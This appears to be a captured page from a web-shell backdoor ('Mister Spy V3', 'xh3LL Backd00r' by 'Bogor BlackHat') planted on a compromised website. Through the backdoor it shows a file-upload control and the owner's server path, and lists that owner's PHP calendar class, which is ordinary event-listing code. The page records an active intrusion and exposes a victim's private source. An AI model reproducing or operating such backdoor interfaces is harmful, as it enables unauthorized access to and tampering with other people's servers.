Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.calendar.php

<?php

require_once('class.contenidocalendarios.php');
require_once('class.misc.php');

abstract class Calendar
{
	static private function GetAll(array $filter) 
	{
		$ret 			= array();
		$oCalendarios 	= new ContenidoCalendarios();
		
		$filter['fecha_desde'] 	= '2000-01-01';
		$filter['fecha_hasta'] 	= '2050-12-31';
		
		$ret['events'] 	= array();
		$ret["issort"] 	= true;
		$ret["start"] 	= php2JsTime($filter['fecha_desde']);
		$ret["end"] 	= php2JsTime($filter['fecha_hasta']);
		$ret['error'] 	= null;

		$arrCalendarios = $oCalendarios->GetAll($filter);

		foreach ($arrCalendarios as $oCalendario)
		{
			if ($oCalendario->tipoID == '1')
			{
				$Color = '#C90';
			}
			else if($oCalendario->tipoID == '6')
			{
				$Color = '#c30305';
			}
			else
			{
				$Color = '#750809';
			}
			
			$ret['events'][] = array
			(
				$oCalendario->calendarioID,
				EliminarTildes($oCalendario->nombre),
				php2JsTime(mySql2PhpTime($oCalendario->fecha_desde)),
				php2JsTime(mySql2PhpTime($oCalendario->fecha_hasta)),
				0,//$row->IsAllDayEvent,
				0,//more than one day event
				//$row->InstanceType,
				0,//Recurring event,
				$Color,//$oCalendario->Color,
				12,//editable
				$oCalendario->tipo,//$row->Location, 
				$oCalendario->region,//$attends
				$oCalendario->lugar
			);
		}

		return $ret;
	}


	static public function Listar($fecha, $Tipo)
	{		
  		$fecha = js2PhpTime($fecha);
  
  		switch($Tipo)
		{
			case "month":
				$fecha_desde = mktime(0, 0, 0, date("m", $fecha), 1, date("Y", $fecha));
				$fecha_hasta = mktime(0, 0, -1, date("m", $fecha) + 1, 1, date("Y", $fecha));
				break;

			case "week":
				$monday 	= date("d", $fecha) - date('N', $fecha) + 1;
				$fecha_desde = mktime(0, 0, 0,date("m", $fecha), $monday, date("Y", $fecha));
				$fecha_hasta = mktime(0, 0, -1,date("m", $fecha), $monday + 7, date("Y", $fecha));
				break;

			case "day":
				$fecha_desde = mktime(0, 0, 0, date("m", $fecha), date("d", $fecha), date("Y", $fecha));
				$fecha_hasta = mktime(0, 0, -1, date("m", $fecha), date("d", $fecha) + 1, date("Y", $fecha));
				break;
		}
  
		$filter = array();
		$filter['fecha_desde'] = date("Y-m-d", $fecha_desde);
		$filter['fecha_hasta'] = date("Y-m-d", $fecha_hasta);

		return Calendar::GetAll($filter);
	}


	static public function GetById($calendarioID) 
	{
		$oCalendarios = new ContenidoCalendarios();
		
		return $oCalendarios->GetById($calendarioID);
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat